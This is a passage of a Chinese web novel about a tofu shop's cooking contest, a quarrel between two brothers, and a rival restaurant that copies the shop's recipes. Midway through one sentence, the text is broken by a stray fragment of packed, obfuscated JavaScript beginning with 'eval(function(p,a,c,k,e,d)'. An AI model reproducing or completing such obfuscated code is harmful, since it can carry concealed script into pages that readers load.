那食客不甘示弱,只硬着头皮:“你这配方和悦人楼一模一样啊,闻着也可像,你这……” “这位客官,许是有什么误会。我猫豆腐铺的配方早先来自南湖与枫城,历过一轮御膳选拔。没有说先来者像后来者的道理。” 闻声而望,旁边桌子后面,是一个青麻直裰,束发髻,腰间系着革带。 一左一右,泾渭分明。 这阵仗,那食客一时说不出话。 “总之规则就这样。”罗烨烨站在案板后面,面前两张长案拉开。她左手是萧握瑾,右手边是萧惜文。 “食材就用豆腐,剩下的小料你们随便加。做出来多少道是多少道。我们正好没吃饭,等你们做完都到晌午了。” “所以嘛……” 她眯起眼,将他二人扫过,“这饭是要给我们吃的。别随便加些奇奇怪怪的东西,像姚富那样。” “若我们吃出来有什么不对,你俩就直接走人。” 最后那句话,是说给谁听的,不言而喻。 萧惜文点了点头。 萧握瑾没点头。他把刀拿进手,还在手里转了一下,转刀呢,叫刀面上白光一闪。 罗烨烨收回目光,转头看向一众家丁:“你们说如何?” “哎,还有我们呢!你没问我们呀,把我们招来了。”一个食客挤到前面,勾头看了看案板上的食材,面露嫌弃。 “就光吃豆腐?晌午就吃这个啊,啧啧。” 罗烨烨轻笑一声,扬声朝那俩人:“听见没?人家看不上你们呢。你们现在做的事,就是在给猫豆腐争门面、争面子。要是做得不好,后果不用我说了吧?” 她说完,阿福扛着大铜锣从人群里钻出来,喘着气:“东家,锣借来了!戏楼那个,老大个儿!” 罗烨烨接过棒槌。嗯,红布头绑的,很吉利。 她提到手里抡:“那都开始吧。” “锵!” 结果铜锣声方落,罗烨烨视线一飘,不知觉,被旁边桌案上的食材吸引了目光。 那上面,忽然蒙上一层幻影般的红。她揉眼,又觉一股香味在鼻前,若即若离,引得她神志迷惘,要上前一步。 泠泠清音响。 哦,好像是她头上的珠钗。罗烨烨下意识一摸,哎?眼前的红,忽而散了。 她再一晃头,一个人影忽然从人群里扑了出来,哗啦一下推到桌案前! “哎——” 那是个灰布衫的汉子,就是方才还搁那嫌弃光吃豆腐的,此刻却两眼发直,嘴里淌着涎水,直直朝萧惜文的案板扑过去。 “我受不了了!” 他的手直接插进豆腐盆里,抓起一把白豆腐就往嘴里塞。豆腐渣从指缝里掉出来,糊了一案板。 “老哥你干啥?!”罗烨烨懵了。 那汉子目中红光,露出疯狂:“叫我吃,叫我吃!我饿呀!” 他吃了还不够,伸手又去抓旁边的香料碗,桂皮、香叶,居然一起往嘴里塞! “你疯了?中邪啦!” 罗烨烨大吃一惊,抓紧上去拉他,结果手都没碰到,这人一肘子,给旁边拉他的家丁肘飞了。 “……” 罗烨烨一低头,猫腰扭脸又回去了。 算了算了,爱吃吃吧…… 罗烨烨擦擦汗,旁边街坊们却乱了,这一会食材全给他霍霍完了,他们来白吃的吃啥? 纷纷上去拉他,这人都推搡开,一面被花椒呛得流眼水鼻水,居然扑向了被惊得站远了的萧惜文! 罗烨烨心里一砰:“兄弟拿住刀!” 萧惜文正拿着刀,被他一撞,整个人往地上狠狠栽倒。刀从手里脱落,哐啷一声—— 落在他两腿之间! 刀尖戳进青石板缝里,嗡地晃了几下,立住了。 萧惜文脸色发白,手还悬在半空,没来得及握回去。那汉子又扑到其他人身上了,蹭得别人浑身全是豆腐渣辣椒面,嘴里含混地喊着:“饿……我好饿……” “抓紧薅住这个驴嘴!”那食客悲愤尖嚎。 太炸裂了,罗烨烨汗流浃背,抓紧叫家丁:“你们还看啥热闹呢?赶紧制住他呀,来几个人去报官!” 这啥情况呀! 她心里也逐渐焦急,眼见三四个家丁冲上去,拽胳膊的拽胳膊,搂腰的搂腰,好不容易把他从案板边拉开。 那汉子却像发了疯,回头啃了一口拽他胳膊的人。 “哎呦!他啃人!” 被啃的街坊一松手,场面乱成一锅粥,嗷嗷大叫别啃。几个街坊拉不住那个汉子,又有两个人被啃了。有人彻底怒了,呲牙和他互啃。 “啃啥呢?啃豆腐啊?” 围观的人群开始往后缩,可又舍不得走,还有的根本看不到里头发生啥,伸着脖子往里看,两眼发光:“真那么好吃吗?” 有人咽了咽口水,往里挤:“我不信,除非叫我吃……” “别吃啦!比试结束、结束!” 罗烨烨眼见协调不好,嗓子喊出去都淹没在人海里。她咳嗽两声,受不了了,朝旁边喊:“萧握瑾别做菜了,快来帮忙!” “这比式比不了了,延后!” “别延后了。” 声如流水淌入耳,叫人心都静了。 这人群喧嚣混乱,俶尔消却下来。 萧握瑾绕过案板,手里端着一只白瓷盘。他走过来,把盘子搁在中间的桌上。 盘子里的豆腐金黄油亮,中间掏空嵌肉。热气往上蒸,带着一股焦香和肉香混在一起的味,扑进每个人的鼻子里。 “豆腐抱肉,”他推到她眼前,“吃吧。” 罗烨烨到嘴边的话咽了回去。 她盯着这盘菜,喉咙不由自主地缩了一下。 “诶?方才发生啥。” 这时候,那个疯食客忽然清醒了。他挠了挠头,低眼一看自己满身,哎呀,全是辣椒面粉,一片狼藉,立马毛了,指着问:“这谁搞的?谁搞的!” “那不是你自己搞得吗?你还啃我!” 另有几个食客骂骂咧咧,外边又吵起来了。这般一吵,他罗烨烨萧握瑾二人附近,便衬得愈加静。 “……你这不作弊吗?”她掀起眼,深深望他,“我说要豆腐,就光要豆腐。” “你怎么还加肉啊?” 萧握瑾,他抬眼看着她。 轻轻笑了一下,半歪头。 “吃不吃?” 罗烨烨倒吸一口气。 那股香气顺着气息钻进鼻腔,化成口水,在舌根底下漫开。她咽了一下。 ……又咽了一下。 这口不吃。 非君子呀! 啥都别说了,事已至此先干饭。她拾起筷子,叨一块,整个塞进嘴里。 哎额娘哎! 好吃。 豆腐入口,外皮煎得焦脆,牙齿一碰,咔嚓一声。像薯片啊这皮,肯定裹面了,里面的肉汁混着豆腐的嫩,一下子涌出来。 是香的,是烫的。她嚼着,居然有点潸然泪下,还是热食暖胃呀,把心都捂得透透的,真好味。 肉是剁成茸的,掺了香菇末和虾干碎 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甜丝丝的,带着一点醋的酸香。不冲鼻,恰到好处。 “糖醋汁。”头顶他的声音落下。 人群又炸了。 “让我尝尝!” “我先来的!” 罗烨烨面上局促,一把推开伸过来的手:“干啥干啥?我先!” 她忙举起筷子,夹了一块豆腐抱肉,在碗里蘸了一圈。酱红的汁裹在金色的豆腐上,看着就让人吞口水。 送进嘴里—— 酸甜的。 有点花香味,估计是花蜜,清清爽爽的甜。醋的酸在舌苔上跳,在齿间绕,一抿,又被甜味盖过。豆腐的焦脆还在,肉汁的鲜还在,多了这一层酸甜,整个味道都鲜活,像给一幅画上了颜色。 余光,她能看到萧握瑾在笑。唇动,言语轻轻的。 “好吃吗?” 罗烨烨嚼着,没说话。 又蘸了一块。 这准是好吃啊! 街坊们急了,纷纷嚷嚷问:“糖醋汁咋弄呀?糖醋汁咋弄?” “没糖醋汁刷甜面酱!” 七嘴八舌的,罗烨烨有点烦。可当她抬起头,看见萧握瑾那双桃花眼正望着她,唇角弯着,等她吐话。 她的气,渐渐消了几分。 “还行吧,吃着是那个味。”她又夹了一块,蘸了酱汁,送进嘴里,嚼着。 她撩起眼睛瞄他。 萧握瑾垂下眸,声音又轻了些:“那你满意么?” 罗烨烨没答。她把嘴里的豆腐咽下去,又叨了一块,才慢悠悠地开口:“真没想到呀,小萧。你怎么想的?豆腐抱肉还加糖醋汁,你这是给我藏私呀。” 萧握瑾慢慢吸了气,抬眼,不紧不慢地抽出盘子底的馏布,擦手:“不留两手,怎么能让罗掌柜感到新鲜?否则掌柜腻了,就要把我赶走了。” 哎?这话里有话呀。 罗烨烨才不吃他这套,扬起下巴,故作傲慢:“这算新鲜?新鲜是你自己研究的?你好好想想,是光你一人功劳吗?” 她眯起眼:“如实招来,是不是加了孜然?大声告诉我,谁教的你怎么配?” “仰赖罗掌柜。” 萧握瑾笑起来,又歪头看她,像觉得很有意思呢。 “悉心教导。” 心间怦动。 眼前仿若有一点光在晃。她看着这少年啊,正要开口,忽而脚下打了个趔趄。 身后那个灰布衫的汉子又扑上来。这次是他被人群推出来了,整个人撞在罗烨烨身后桌角上,桌面的盘子跳了一下,叫她被那股劲一带,身子往前栽。 萧握瑾伸手,握住了她的手臂。 没摔倒。 他的手很稳,扣在她小臂上,掌心有点凉,透过袖子贴上来。罗烨烨稳住身子,抬起头,对上他的目光。 喧嚣的市井忽而跳出耳畔。 如入画外之境,留与他们二人在这一小片光里,静静地交换目光。 她听到呼吸。 这人偏了头,靠近她,压低声音:“和我进去看,别弄这个比试了。你给的配方,我做了很多,霉豆腐我也全发上了。” 他的意思是—— 罗烨烨顺着他的视线往铺子里看。 门半敞着,里头案板上,整整齐齐摆着十几只白瓷盘。每只盘子里都盛着不同的菜式,红的绿的黄的白的,码得精致,像等着谁来检阅。 ——不想跟这群人待在一起了。 和我走。 26. 端水 罗烨烨愣了下,脚步不自觉地往里迈。 萧握瑾松开她的手臂,跟在她身后。 铺子里很安静,外头的吵闹被隔了些距离,变得很远。罗烨烨走到案板前,往上扫了一遍。 有凉拌麻汁豆腐丝,淋着芝麻酱,上面撒花生碎啊。还有煎豆腐,两面金黄,上面搁了一小撮葱花,旁边一碗没搅的豆腐脑,光滑又嫩,浇过卤汁。 还冒热气呢,氤氲得罗烨烨鼻子都热了,手边还有几碟她都不认识的,好像是豆渣和面捏的小猫饼干,淋了糖醋汁。 “……你怎么现在都做上了,”她想伸手戳一戳那个小猫耳朵,“不是要选御膳的时候再做?” “先试几道,做熟悉。”萧握瑾的声音附上,很是闲在,“并且,有几样方子我试做之后,觉着还能改良。” 罗烨烨朝上瞧他。 萧握瑾就站在边上呢,白衣苎麻,叫她先看见他要伸来手,袖口还卷着,露出一截小臂。 对方拿起一块,咬一下。 晨光从窗口落进来,照在他侧脸上,把那点漫不经心的神情映得忽明忽暗。 罗烨烨不自觉喉间上下动,开口问:“都是你做的?” 萧握瑾笑,再一偏头,光便将他眉目映亮了。 “当然。” 罗烨烨心觉温暖,抿起唇,想夸他几句。 结果目光先越过他肩膀,瞧见里间的案板。那里摆着更多的盘子,更多的碗,更多的…… 白绒绒的菌丝密密地覆在豆腐块上,有的泛出淡淡的彩色。 罗烨烨怔神,慢慢往上看,往上数。 一排,两排…… 这是个大架子呀,从最下排到最上头,满满当当,每一层,全是发好的霉豆腐。 哎? 罗烨烨的笑容没了,她走过去,看这些豆腐,又弯下腰细看:“这都是你发的?” 她又直起身,指这满满三面墙的霉豆腐。 “这都是你发的?” 罗烨烨又问了一遍,声音比方才高了些。看着他,这人还不跟上来,只是歪头,不解一般:“都是我发的,很奇怪吗?” 至于轻笑一声:“怎么连问两次?” “那你啥时候做的?” 罗烨烨声音比刚才低了些,往他那走近,“你说你啥时候做的。” 萧握瑾不以为意:“昨日夜里。” “你说梦话啊?”罗烨烨睁大眼,抬起头,“我昨夜好晚都没睡,看你房门一直没开。我啥人都没看到,你咋可能晚上做的?” 萧握瑾顿了一下,却立刻接上:“我不能在你睡着之后去?你又不会整夜不睡。” 说罢,他挑眉,低头看走至自己身前的罗烨烨:“怎么,你没看到就不算?” 罗烨烨眉头渐渐皱起来。 她这一皱眉,对面萧握瑾也不笑了。果然罗烨烨便道:“这么多,你不会是把配方分给别人了吧?我说了配方只有我们能看,你又……” “你为何总纠结这个?” 萧握瑾打断她,“就算分了也没什么,这些配方称得上是简简单单,又不是很珍贵的东西。”他看了她一眼。 “况且我也没分。” 罗烨烨张了张嘴,口里与胸口都闷闷的,话被堵住。 不珍贵。 她低下头,看着案板上那些豆腐,忽然一愣,余光扫到门口。 ……那群街坊没散,全扎堆聚在门前,凑着脑袋往这里看。罗烨烨沉默一会,往门口走,伸手要合门。 “哎哎!别合别合呀,俺们不白看,俺买你家豆腐!” 有人赶紧抢话,手里举起来从摊上拿的小豆腐,“掌柜姐,你俩咋吵架啦?方才不是还看对眼么,这开店第一天还演这出呀……诶别关!你外头那人不要了呀?” “外头那个青衣裳嘞,还等着你嘞!” 罗烨烨一顿。再扬头,往门外一扫。外头三三两两地还围着外头桌案,吃得津津有味。 旁边一人靠坐在地。 背倚着灶台的腿,青麻直裰上沾了豆腐渣和灰,头发也有些散。没有人扶他,也没有人看他。 是萧惜文。 罗烨烨皱眉,推门而出,快步走过去。 街坊们的热闹在别处,他一个人坐在那里,像被落在岸上的船。只恰好这时,一曳桃杏色飘飘而至。 她到他身前,蹲下来,伸手去扶他:“你没事吧,有没有摔着?” 萧惜文抬起头,看着她。 那张清瘦长脸上的柳目里,光淡淡的,像隔了一层雾。 “没事,”他说,声音有些哑,“不妨事。” 罗烨烨抿住唇,只用袖子拉他起来。 他借力站起身,脚下不稳,晃了晃。低头,掸了掸衣袍上的灰,动作很慢。 沉默了一会儿,他开口了。 “或许,”他声音变轻,“萧某并不适合,做酒楼的行当。还是,去念书吧。萧某今日还有事,告辞了。” 说罢,他转身,居然真要离去。罗烨烨既愣又惊,立刻抓住他的袖子:“哎,谁说你不适合了?” “我没说让你走,”罗烨烨对上他黯然的眼睛,肃起神情解释,“方才突发变故,无意怠慢你,是我不对。可你现在走太可惜了,这才将开始——” 身后传来一声嗤笑。 “他就是个废物。” 罗烨烨皱眉。回头,瞪那个走来的人。 干什么骂人呢? 萧握瑾从铺子里走出来,靠在门框上,双臂抱着,嘴角弯着,眼底却没什么笑意。 “你怎么还不走人?明明菜都没做出来吧。” 萧握瑾没理她,看着萧惜文的背影,声音慢悠悠的:“等着别人给你扶起来,再搁这装可怜,让别人安慰你?” 他歪了歪头。 “输了就赶紧走。” “谁说你输了?” 罗烨烨心里憋着口气,她转到萧惜文前面,好言相劝,“你菜没做出来是意外,是原料问题。你留下,咱以后还可以继续比……” “罗烨烨。” 声音沉沉,像一块石头坠进河底。 罗烨烨回过头。 萧握瑾扁起松了的袖子,重新用绑带扎,露出腕骨。他看着她,桃花眼里没什么表情。 之后他笑了一声。 “我才是赢家。”他语气凉薄。 “你不来祝贺我,你在干什么?” 这一时之间,没人说话。 下头那些围观的却愈发蠢蠢欲动,目光在她与萧握瑾之间,是扫来扫去啊,有几个已经咧着嘴,就差嗑瓜子了。 她能感受到那些目光。一道道,灼热的,兴奋的。看好戏的,如芒在背。 罗烨烨,她深吸一口气。 “比试又不是只有切配。” 她面向众人,声音拔高,“咱们铺子招人,刀工须得有,出摊吆喝的也得有,就连掌总调度的人,也是缺一不可!” “这又不是科举,只考一篇文章定终身!” 这声还真把场面镇住了。罗烨烨面向萧惜文,朝他扬了扬下巴:“你不是会写诗吗?你看咱现在这阵仗,多繁华?街坊邻里都来了,多热闹呀。你就趁现在,写首诗,画幅画。” 她朝外,将大袖一挥洒:“咱们接着比试!” “还有第二关?” 阿福在旁边冒声了,说完就抓紧捂住嘴。 “对啊。”罗烨烨看他,说得理所当然。 “又没谁说比试只许有一关!” 人群里有人笑了出来。带着点起哄的味道,但听着有些刺耳。萧惜文的手指不自觉地弹动了一下,攥紧了袖口。 罗烨烨两步走过去,一掌拍在他肩膀上,力气不小,差点把他拍个趔趄。 “没事,”她压低声音,眼睛亮亮地看着他,“你相信我。” 萧惜文一怔。 罗烨烨转过头去,朝院子里的家丁喊: “来人,去取笔墨来!” 阿福诶了一声,一溜烟跑进铺子里。不一会儿,就端出砚台,毛笔,和一卷宣纸,在方才的案板上铺开。 周围的目光又聚过来了,比方才还要多。那萧惜文便站在案前,低头看着那张空白的宣纸。 街坊们伸着脖子,有人甚至踮起脚,想看他怎么写。有人瞅萧握瑾:“哎,你怎么不动笔呀?” 萧惜文却拿起笔。 沾墨,落纸。居然毫不犹豫,一气呵成。 先是几行小字,然后是正文。他写得不算快,字还蛮娟秀的。罗烨烨凑到他旁边,看着那笔下,那些字一个一个地浮出来。 她念出声:“街喧沸,炊烟袅,桃花落满灶。” “豆腐裹金衣,肉藏其中,一口春先到。” 周围乱糟糟的街坊们安静了,便如坐了茶楼听书观戏一般,听着。 这说的是豆腐抱肉呀。罗烨烨掀起眼,瞄了萧握瑾,对方仍没表示,她撇了撇嘴,低下目光继续念。 “人声沸,日头高,新铺开张早。不问客从何处来——”罗烨烨刻意拖长声,留了个小悬念,再扫一眼周围。 “只问,你要不要哇?” 方言入耳,有人噗嗤笑了出来,是小孩被逗乐了。碗筷触碰,吃豆腐的嗦声,稀碎响起。 萧惜文没停笔,继续写。最后两句的笔锋一转,变得慢了些,也沉了些: “盛世繁华眼底收,万家烟火舌尖留。唯有一事心头绕,半是欢喜半是愁。” 写完了。 他放下笔,退后一步。而罗烨烨上前,看那首诗,从头到尾又默念了一遍。 咏豆腐啊…… 罗烨烨细细品味。其实她不咋会鉴赏诗词,觉着读着朗朗上口,都算不孬。不过最后四句吧,韵脚都变了。字含在嘴里,说不出的涩味。 “好!”她大声讲,鼓起掌来,“不错!” “真不错啊。” 那街坊也摸摸胡子,“嗯,听着还挺有味道的,也算差强人意吧!柳兄,你看呢?” “这诗,前头写得热闹,后头又带点惆怅,妙啊。”一个穿着青布直裰的中年人应声而来,像是读过书的,摇头晃脑地品了一番。 “既应了开张的景,又有了个人的情。小兄弟,你可是有什么心事啊?不妨说与我等听听,为你解忧!” 那萧惜文啊,只是摇头,笑一笑,要往后退。却被罗烨烨一掌托住了肩。 罗烨烨出面一吆喝:“解忧谈心,吃豆腐喝茶,大家吃好喝好,唠唠嗑,铺子里豆腐管够啊!” 这诗赋完也热闹起来了,街坊里又混来几个文人墨客,雅兴甚嚣而上,纷纷捡墨拾笔,写上几句。 一个忽然咦了一声,仔细打量起萧惜文案边那面小旗子。 “南湖猫豆腐!” 他一拍手:“是不是枫城那个选上御膳的豆腐宴?就是那个‘猫衔余香至,岁岁有余年’,是写的你们吧?我听说了!” 罗烨烨笑了:“是我们呀,写的是我们招牌!” 哎,方才那个食客赶紧挤过来了,摆摆手:“不是不是啊,猫衔余香至,岁岁有余年。这明明是悦人楼的招牌,就写在门口对联上呢!” “啧。”罗烨烨皱眉,看这个食客。 什么情况?想 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罗烨烨真是喜得合不住嘴了,抓紧招呼家丁:“快快快,张罗起来!桌椅不够去隔壁借,碗筷不够去添!” 她转身叫。 “萧握瑾!” 想让他多上几道菜。 可身后空空的。 啊,萧握瑾? 原是——不知何时,已转了头,往外走。他走得不快,但一步没停,连头都没回,都快走到街口了。 罗烨烨一愣,赶紧从桌椅间绕出来,追他两步:“哎!你干什么去?” 萧握瑾没停。 “哎呀!”她跳脚,边追边跑,抑不住雀跃,拔高声音,“你做的可好了!真的超级好吃,特别好吃!我特别喜欢你那个豆腐抱肉……抱肉!” 叽叽喳喳地边叫边喊,可萧握瑾依然不停步,不过似乎放慢了,因为罗烨烨她能追上了。她心里哼哼几声,抓住机会,跳起来又喊了一声:“萧握瑾!” “你走这么快干嘛呀?这不都多亏了你吗?要不是你做的豆腐抱肉,大家怎么会来嘛!都说你做的好吃呢!” 还不停下! 真没招了,她开始拖嗓子,要开始耍赖了: “萧握瑾——” 这一声拉得又长又软,连旁边的街坊都忍不住笑了。罗烨烨面上一红,才发觉有人看着呢,又放慢步子,悄悄追,不叫了。 萧握瑾终于转过身来。 罗烨烨差点撞在他身上,急忙刹住脚,抬起头。 他比她高出一头,逆着光,她得眯着眼,才能看清他的表情。 他垂着眼看她,似乎弯着眼睛。 “把他赶走。” 这话,好生冰凉,落在她心上。 罗烨烨眨了眨眼:“不行。” 萧握瑾不言语,就这么看着她。 罗烨烨开始讲道理:“人家做得也挺好的呀。你看,你负责做菜,他负责写诗宣传,这不挺好吗?再说了,隔壁悦人楼也请人吟诗作赋,咱们总得有人干这个吧?你刚才也看见了,街坊都觉得他写得不错……” 萧握瑾转身又走了。 “哎!”罗烨烨急了,伸手抓住他的袖子。 他停下来,侧头看她,也没甩开。 他二人便双双沉默一会。 罗烨烨攥着他袖口的那只手,其实热乎乎的。她能感觉到,大拇指贴着布料底下,那段手臂的温度,隔着衣料传过来。 “……作甚。”他终于开口,声音漠漠的。 罗烨烨欲言又止,嘴唇动了几下,最后还是小声说了出来:“方才那个人,就是突然像中邪了一样。你说,是不是你在豆腐里做了手脚?” 萧握瑾的目光暗了。 若一盏灯,被吹灭。那双桃花眼里,沉下一片深深的、不见底的阴色。 罗烨烨心头一紧。 她赶紧补了一句:“我不是找你茬!就是你说这些豆腐都是你做的,我才这样想。这次我承认,我有疏忽,我来收拾。但是你下次……” 她蹙了蹙眉:“你下次不能这个样子弄了。” 萧握瑾拂袖撇开她的手。 哗一下荡得罗烨烨头上珠钗都响了,桃花动,衣袂飘。 “萧握瑾!”她在身后喊。 他没停。 罗烨烨真急了,这是要干啥呀到底?她提起裙摆快步追:“萧握瑾!你去哪啊,你要去哪?比试还没结束呢!” 他终于停住步履,偏过头来,侧脸在光色里,如削般刻薄。 “说了你也不信。” 他甚至笑了一声,终于有了些轻嗤。 “凭什么和你说?” 寂寥落下。 这一次,没人叫他,他也未回头。 罗烨烨站在街口,看着那个白色的身影越走越远,最后拐过街角,被光影吞没。 她没动。 周围简直鸦雀无声,没人敢吭。方才还热闹的人群,目光陆续落在她身上。有同情的,有好奇的,有不知道该说什么好的。 皆是想说,却没法开口。 有人呵呵赔笑:“先回去吃吧,先吃晌午饭吧……” 人群稀稀落落地散了些,萧惜文走过来,嘴唇动了动:“罗掌柜……” “咱们赶紧卖大单!”罗烨烨忽然大叫一声,把旁边端着碗的都吓了一跳,脚底抹油溜回铺子里了。 她跺了跺脚,不管不顾,将心里窝的火气尽数撒出:“评上御膳,拿赏银——” 她又跺了一下。 “把那个少爷给我弄走!” 27. 食伤 生气。 真生气啊! 莫名其妙甩脸子,什么都不肯说,还有扔下一句,凭什么和她说! 就走啦! 明明她是担心配方泄露,明明悦人楼那边一样做了霉豆腐招牌,这人…… 她闭上眼,深吸一口气,把这几日之事在脑子里过一遍。 从方到郎台那日起。 铺子方支起来,对面的悦人楼就出了霉豆腐。她当时还想,兴许是赶巧了,豆腐嘛,谁家不会做。 可又方才,她在比试上,听到那个食客说了。说他们辣酱,料汁,青红豆腐。 都是抄悦人楼。 她教阿福调的辣酱,悦人楼出了。萧握瑾尝试过,今日试做的糖醋汁,悦人楼也出了。 甚至连枫城那句,猫衔余香至,岁岁有余年。 还没正经写在招牌上,对面就已经传开了。 一次是巧,两次是赶趟,三次四次呢? 她又不是没在枫城跟姚富对峙过。姚富浑得很,也是自己做的烂,自己卖的烂。可这悦人楼不一样。 他们仿得太像了,跟有人把她计划一字一句,口耳相接传过去似的。 街口隐隐有桃花瓣被吹起来,哦,晃一下,是光斑。打了个旋,又落下去。她她还想开口说什么,去叫人,但人已经走了,她又迷茫。 不是萧握瑾分了配方才泄露,那会是谁? “罗掌柜。” 萧惜文的声音从身后传来。他伸手,试探地,搭上罗烨烨的肩。罗烨烨没应声,就那么站着,目之所及,街面上都显得空落落的。 “……哼。” 罗烨烨叉起腰,闭了闭眼,“不管他了,我们回铺,把他做的豆腐全吃光。” 日头落了。天边烧成一片橘红色,把整条街都染得发暖。风一吹,又散了些,还是凉的。 后厨门口有两张矮凳,是平日里家丁们歇脚用的。罗烨烨端着碗坐下来,托着腮发呆。萧惜文在另一张凳子坐下,沉默着,没再说话。 阿福端了碗豆腐汤过来,搁在萧惜文面前:“喝吧,趁热。你俩忙一晌了,还没正经吃口东西。嗐,有啥愁事唠着唠着,就解开了嘛。” “我去那边吃了。” 阿福走了。 罗烨烨低头看手里捧的汤。白豆腐切成细丝,飘在清亮的汤里,还有小白菜和炒鸡蛋,上面撒了撮葱花和落生,香油飘着孔,在灯光下一闪一闪的。 她端起碗,喝了一口。 从喉咙一路下去,落到胃里,暖得她鼻子一酸。 “……你不喝?”她闷声,看萧惜文。 对面沉默一会,也端起来,喝了一口。 热汤浇愁。 “你说,”她声音有点哑,拿筷子,拾碗里花生豆吃,“他怎么就这么走了?” 萧惜文没接话。 “明明我也夸他了,”她越说越委屈,嘎嘣嘎嘣地嚼花生,“我说他做的豆腐抱肉超级好吃,特别好吃,我说了好几遍呢……” “对不起,罗姑娘。” 萧惜文却开口,道了歉。罗烨抬眼看他,便见他道,“是我唐突,兄长不喜旁人与罗姑娘走得过近,是我……” “不不,那就是我疏忽了,我没说清嘛。” 罗烨烨赶紧安慰他,叹一口气,看着碗底那点油花,声音闷闷的,“我又没说不让他留下,这不是在想悦人楼的事嘛,招人手呢。你负责写诗宣传,他负责做菜,两个人都能用上,这不是挺好的吗?” “算了,待他回来,我再与他细细解释。”她深吸一口气,转头看萧惜文,“你呢?方才摔倒,没伤着吧?” “没有。”萧惜文摇头。 罗烨烨笑:“那便好。话说,你的词写得真不错呀,我真心想留你。那句什么来着?盛世繁华眼底收,万家烟火舌尖留……” 她念到这,又蹙了一下鼻梁,面上倒是为难:“有点伤感啊,萧惜文,你是不是有什么心事啊?现下无旁人,你说与我听,兴许我能帮你解意。” 又是一阵沉默。暮色从街口漫进来,把两个人的影子拉得很长,投在青石板地上,一左一右,谁也不挨着谁。 再一晃,却偶有交错。 “说到底,天下人,”他笑了一下,语气淡淡,像水面上吹散的涟漪,“不过互相内斗,争来斗去罢了。” 他娓娓道来:“凡有人的地方,便免不了争斗。小的争斗,各自拉扯旁人,滚成大的。没完没了,到头来,全都覆灭。” 哇哦。罗烨烨也坐正身形,把筷子放下,看他:“你说内斗,是在说你和萧握瑾。” “争家产吗?” “咳咳!” 萧惜文喝汤呛了一下,他对上罗烨烨眨巴眨巴的大眼睛,似乎有点被逗笑了,只是摇头:“嗯,不仅如此。” “我落榜了。” 这人温吞吞的,说话亦如是。罗烨烨静静看他,开口问:“那,你来日还能再考呀。怎么兜了这么大弯子,来经营酒楼?” “我非言你做不得切配啊,只是问你怎么想起,”她顿了顿,又补一句,“是因为萧家有酒楼,你又是萧家子弟,便想着这份差事,你能接手?” 萧惜文沉默了一会。 他拾起筷子,搅了搅碗里剩下的汤。 “中榜之后,”他慢慢开口,“无非三种人。” 罗烨烨看着他。 “小人得志,衣锦还乡。无私大爱。” 他放下筷子,看罗烨烨。光在他目中浮影,她感到,他在看一圈圈波纹,看她如漪中之鱼。 “你猜这三拨人,纠缠在一起,会变成什么样?” 罗烨烨眨了眨眼,没听很懂。 便也没太往心里去。 “所以,”罗烨烨拖起腮,试着理解他,“你不喜官场,便自愿投身市井,大隐于市?” “那我觉得你蛮有天赋啊,”她笑着端起碗喝汤,“咱们这些做小本生意的,正缺你这样的人才。谁说文章只能官场用?你这叫什么,文墨与烟火相合。” “咱们这行当,东西摆在那里,看着都差不离,食客懒得细品,便容易错过了里头的好滋味。” 她啧啧感叹,“可你一来,提笔一写,把特色传扬出去,不单帮了咱们售卖,也给食客和读你文章的人,送去一份兴味呀!” 这一通夸赞像连珠炮似的,说得萧惜文不禁莞尔。暮光落在他清瘦的侧脸上,将轮廓映得柔和。他只道:“谬赞了,多谢罗掌柜青眼。” 罗烨烨唔一声,吸溜着汤汁里的豆腐丝,又夹了一口霉豆腐辣酱:“还有你方才来时,说起知晓咱们的各种事迹,”她咽下一口,眸里亮晶晶的。 “你单凭几封书信往来,便能猜得那般准,也太细致了,我真是佩服。这说明你颇有推敲的本事,往后说不定还能去断案嘞!” 她这一说,萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夜风从街口灌进来,吹得门口的幌子轻轻晃。远处的天边,光沉了下去,整条街被暮色吞没,只剩几盏灯笼,在风里明明灭灭。 萧惜文望了她片刻。待她挑挑拣拣,给剩下的花生米捡完,咬着筷子尖抬头。 他开口,似乎想说别的什么。 “其实,我兄长他……” 忽然,一阵急促的脚步声从身后传来。 “掌柜!掌柜!” 罗烨烨扭脸。阿福跑得上气不接下气,脸涨得通红,一头扎进他俩之间,扶着桌面喘了好几下。 “不好了!”他嗓子都劈了,“隔壁悦人楼,做了新菜!” 罗烨烨皱眉:“什么菜?” “七彩猫豆腐!” 罗烨烨腾地站起来。 “还有,”阿福咽了口唾沫,风吹得嗓子干,“他们还抬了个新门面,跟你特别像!也是一身桃杏色的衣裳,也簪桃花,听说是专门找来的,叫什么……” “苏叶叶!” 说完,他接过萧惜文递来的茶水,猛灌两口。 罗烨烨立着,不说话。 夜风呼呼地灌进铺子前院,把空碗上的筷子都吹得轻轻响动。 七彩猫豆腐。苏叶叶。桃杏色,桃花簪。 这不能再说是碰巧了。 “悦人楼在哪?”不必多说,她抬脚就往外走,“带路,我现在去见见。” “掌柜!” 阿福拦住她,萧惜文也用手挡:“罗姑娘,现下太晚,你一人去不安全,咱们再叫些人手……” “不是,是萧掌柜已经去了!” 阿福急得直摆手,唉声叹气的,才把话传出来,“他说让你俩留在这儿,说罗掌柜你……爱留二公子多久,就留多久吧。” “他自己解决。” 28. 模仿 暮色落帷,悦人楼前,人流渐渐稠了起来。 挑担的、提篮的,还有摇扇文人,三三两两往同一个方向涌,如锦鲤灌入池水,将整条街挤得热热闹闹。 阿福一边走,还捶腿。跟着罗掌柜真是一刻停不下啊,他一边嘟囔:“唉,要是天底下的东西都白送都好了,哪来这么多破事……” 他说完,抬起头,发现身边没人了。 罗烨烨已经走出去好几步,桃杏色的身影在暮色里一晃一晃的,走得极快,裙摆都带起风来。 “哎,东家!等等我啊,”阿福赶紧追上去,边跑边喊,“你别一个人挤!萧掌柜让我跟着你——” 罗烨烨没回头,脚步也没停,这话与人便皆远远抛了脑后头。 等赶到人群外围,她抬头看。 悦人楼。 三层高的楼阁,朱金雀替,青绿彩画,门楣上三个烫金大字,龙飞凤舞,气派得很。 她再往下看,连廊里宝蓝、墨绿、大红的料丝彩灯,成排结对。 门口搭了一座高台,台上摆着长案碗碟,两侧站着家丁,见人就拱手,递筷子,笑盈盈地请人品尝。 “各位!各位!”台上的家丁扯着嗓子喊,“今日悦人楼品鉴会,凡品尝本店新品、赋诗一首者,赏银一两!” “诗作优异者,另有重赏!” 话音刚落,人群里就炸了锅。 “我来我来!” “我先尝!我诗写得好!” 